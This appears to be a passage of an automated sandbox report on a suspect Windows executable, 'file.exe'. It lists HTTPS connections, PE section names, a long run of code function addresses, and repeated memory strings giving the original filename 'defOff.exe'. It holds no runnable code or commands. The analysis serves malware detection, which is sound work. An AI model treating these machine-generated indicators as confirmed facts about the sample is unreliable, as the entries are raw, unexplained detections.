Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:60528 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:60535 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:60605 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:60605 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:60607 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06651E68	0_2_06651E68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665AE7F	0_2_0665AE7F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663D678	0_2_0663D678
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663BE44	0_2_0663BE44
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06646624	0_2_06646624
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06649E22	0_2_06649E22
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06638E29	0_2_06638E29
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06652629	0_2_06652629
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06656E29	0_2_06656E29
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06642E37	0_2_06642E37
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06633639	0_2_06633639
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0666DE04	0_2_0666DE04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06625EED	0_2_06625EED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06669EF8	0_2_06669EF8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066416C0	0_2_066416C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0666B6CE	0_2_0666B6CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06673EC9	0_2_06673EC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066216D6	0_2_066216D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066686DD	0_2_066686DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066296A7	0_2_066296A7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066196A6	0_2_066196A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066596A2	0_2_066596A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06632E8C	0_2_06632E8C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663676B	0_2_0663676B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662D77B	0_2_0662D77B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06647F79	0_2_06647F79
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06667744	0_2_06667744
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662EF4A	0_2_0662EF4A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661BF4D	0_2_0661BF4D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663FF4C	0_2_0663FF4C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06645753	0_2_06645753
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664A727	0_2_0664A727
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665CF2C	0_2_0665CF2C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661EF39	0_2_0661EF39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662E738	0_2_0662E738
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0666E709	0_2_0666E709
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662DF11	0_2_0662DF11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06633FEB	0_2_06633FEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066407E9	0_2_066407E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661F7EF	0_2_0661F7EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665D7F4	0_2_0665D7F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066717F0	0_2_066717F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066347FC	0_2_066347FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06615FCE	0_2_06615FCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06626FD3	0_2_06626FD3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06658FD3	0_2_06658FD3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066337DF	0_2_066337DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06655FAE	0_2_06655FAE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066617AB	0_2_066617AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06622FB9	0_2_06622FB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0666C783	0_2_0666C783
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06654F89	0_2_06654F89
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665679B	0_2_0665679B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06634F9C	0_2_06634F9C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665FC64	0_2_0665FC64
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06634460	0_2_06634460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665E460	0_2_0665E460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06662468	0_2_06662468
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661F474	0_2_0661F474
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0667047A	0_2_0667047A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664EC44	0_2_0664EC44
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06669447	0_2_06669447
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665EC4C	0_2_0665EC4C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664A448	0_2_0664A448
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662A44D	0_2_0662A44D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06673C50	0_2_06673C50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663AC5C	0_2_0663AC5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662FC21	0_2_0662FC21
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661842A	0_2_0661842A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662BCE3	0_2_0662BCE3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066544E3	0_2_066544E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06674CEE	0_2_06674CEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661ACF1	0_2_0661ACF1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665C4C2	0_2_0665C4C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06672CDF	0_2_06672CDF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665A4DA	0_2_0665A4DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066634A2	0_2_066634A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06661CAB	0_2_06661CAB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066164B9	0_2_066164B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066234BA	0_2_066234BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06631CBB	0_2_06631CBB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06630483	0_2_06630483
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06628C80	0_2_06628C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06653482	0_2_06653482
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06635C88	0_2_06635C88
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662AC8E	0_2_0662AC8E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664FC96	0_2_0664FC96
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665DC92	0_2_0665DC92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06637498	0_2_06637498
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663F563	0_2_0663F563
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664D566	0_2_0664D566
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661DD6A	0_2_0661DD6A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06627D72	0_2_06627D72
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0666FD46	0_2_0666FD46
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06639D45	0_2_06639D45
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06649549	0_2_06649549
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06639554	0_2_06639554
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06657D5A	0_2_06657D5A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06648D28	0_2_06648D28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06655535	0_2_06655535
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06660501	0_2_06660501
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664451E	0_2_0664451E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0666651B	0_2_0666651B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06637DE7	0_2_06637DE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066695E3	0_2_066695E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0666A5FC	0_2_0666A5FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663C5FF	0_2_0663C5FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06619DC2	0_2_06619DC2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662C5C4	0_2_0662C5C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06646DAF	0_2_06646DAF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06666DAA	0_2_06666DAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06667DB7	0_2_06667DB7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0666CDB7	0_2_0666CDB7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06671DBF	0_2_06671DBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06650585	0_2_06650585
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664C585	0_2_0664C585
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06664599	0_2_06664599
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662BA76	0_2_0662BA76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06652A71	0_2_06652A71
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06647271	0_2_06647271
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06658A52	0_2_06658A52
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0666D251	0_2_0666D251
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06673A5F	0_2_06673A5F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06667A2F	0_2_06667A2F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06654217	0_2_06654217
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665721E	0_2_0665721E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066532EA	0_2_066532EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066682F4	0_2_066682F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06649AFD	0_2_06649AFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664C2C2	0_2_0664C2C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06661ACE	0_2_06661ACE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06642ACD	0_2_06642ACD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0666E2D7	0_2_0666E2D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0666B2A6	0_2_0666B2A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066642A4	0_2_066642A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06655AA6	0_2_06655AA6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664DAAD	0_2_0664DAAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06668AB5	0_2_06668AB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06622ABE	0_2_06622ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662DA86	0_2_0662DA86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664A281	0_2_0664A281
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06636A8C	0_2_06636A8C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06643A91	0_2_06643A91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06659365	0_2_06659365
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06648360	0_2_06648360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665436C	0_2_0665436C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664F372	0_2_0664F372
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06633B74	0_2_06633B74
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06647B47	0_2_06647B47
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661634B	0_2_0661634B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663B34C	0_2_0663B34C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664534B	0_2_0664534B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665135C	0_2_0665135C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662D330	0_2_0662D330
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663CB3A	0_2_0663CB3A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06652B38	0_2_06652B38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06637305	0_2_06637305
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0666130B	0_2_0666130B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06665313	0_2_06665313
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665D31D	0_2_0665D31D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661E31F	0_2_0661E31F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066173E1	0_2_066173E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06648BF7	0_2_06648BF7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06629BF9	0_2_06629BF9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06615BC9	0_2_06615BC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664ABCC	0_2_0664ABCC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066243C9	0_2_066243C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06634BCC	0_2_06634BCC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066353D5	0_2_066353D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06662BDF	0_2_06662BDF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662CBDC	0_2_0662CBDC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0666EBB3	0_2_0666EBB3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664E3BE	0_2_0664E3BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662E3BE	0_2_0662E3BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06640B83	0_2_06640B83
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662EB8B	0_2_0662EB8B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662038D	0_2_0662038D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663FB90	0_2_0663FB90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665639B	0_2_0665639B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661D862	0_2_0661D862
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06617064	0_2_06617064
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06631064	0_2_06631064
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663D06B	0_2_0663D06B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663F06F	0_2_0663F06F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663086D	0_2_0663086D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663286D	0_2_0663286D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664B06A	0_2_0664B06A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06673076	0_2_06673076
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06674876	0_2_06674876
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662E071	0_2_0662E071
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06650871	0_2_06650871
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06625042	0_2_06625042
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06662843	0_2_06662843
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663B052	0_2_0663B052
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06641026	0_2_06641026
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665B02F	0_2_0665B02F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662902E	0_2_0662902E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06644030	0_2_06644030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662F03B	0_2_0662F03B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06660039	0_2_06660039
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665B801	0_2_0665B801
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665E80E	0_2_0665E80E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663D80E	0_2_0663D80E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06618011	0_2_06618011
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06665817	0_2_06665817
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06642813	0_2_06642813
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665C01D	0_2_0665C01D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0666201D	0_2_0666201D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661A0E5	0_2_0661A0E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663A8E6	0_2_0663A8E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066188F7	0_2_066188F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066640C0	0_2_066640C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066318CA	0_2_066318CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663A0DD	0_2_0663A0DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0666A8A7	0_2_0666A8A7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664E8A6	0_2_0664E8A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066278B5	0_2_066278B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661C8BE	0_2_0661C8BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066400BB	0_2_066400BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665F88E	0_2_0665F88E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664E088	0_2_0664E088
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661D08C	0_2_0661D08C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06654095	0_2_06654095
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06663094	0_2_06663094
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06654891	0_2_06654891
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06670091	0_2_06670091
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663009F	0_2_0663009F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06663960	0_2_06663960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0666C96D	0_2_0666C96D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06634178	0_2_06634178
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664F944	0_2_0664F944
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06646140	0_2_06646140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662F949	0_2_0662F949
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06664948	0_2_06664948
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0666C15D	0_2_0666C15D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665392E	0_2_0665392E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661E900	0_2_0661E900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06623906	0_2_06623906
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665810D	0_2_0665810D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0667090C	0_2_0667090C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06644914	0_2_06644914
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06649117	0_2_06649117
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06656911	0_2_06656911
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663C1E3	0_2_0663C1E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0666D9EA	0_2_0666D9EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066221F1	0_2_066221F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066331CA	0_2_066331CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066259CF	0_2_066259CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661D1DD	0_2_0661D1DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661B9DE	0_2_0661B9DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665B9A4	0_2_0665B9A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0662B1A1	0_2_0662B1A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661E1AD	0_2_0661E1AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_066609B9	0_2_066609B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0665A985	0_2_0665A985
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06619182	0_2_06619182
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06666182	0_2_06666182
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661998B	0_2_0661998B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663818E	0_2_0663818E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0661B195	0_2_0661B195
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06643199	0_2_06643199
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0664F199	0_2_0664F199
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0663619C	0_2_0663619C

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.2623342643.0000000006247000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2619889330.000000000641A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2628932906.000000000624C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2608957277.0000000005EA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2625603143.0000000006248000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2719247514.0000000006246000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2654414817.00000000016B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.2618379400.00000000063F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2612456490.00000000062EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2622225400.0000000006245000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2620320881.0000000006431000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2613654332.00000000063B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2626847190.0000000006244000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2615027952.0000000006249000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2611254253.000000000624A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2627399203.00000000064AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2622059839.0000000006460000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2608865874.0000000006042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2626564115.0000000006364000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2618968656.0000000006323000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2610301727.000000000637F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2613846815.00000000062F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2626092528.0000000006368000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2716193364.00000000016B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.2614137368.0000000006243000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2621415129.0000000006346000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2612854239.000000000624E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2620658791.0000000006338000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2616757950.000000000624B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2623167125.000000000635D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2621044028.0000000006339000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2627259594.0000000006378000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2716193364.00000000016EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2619169718.0000000006243000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
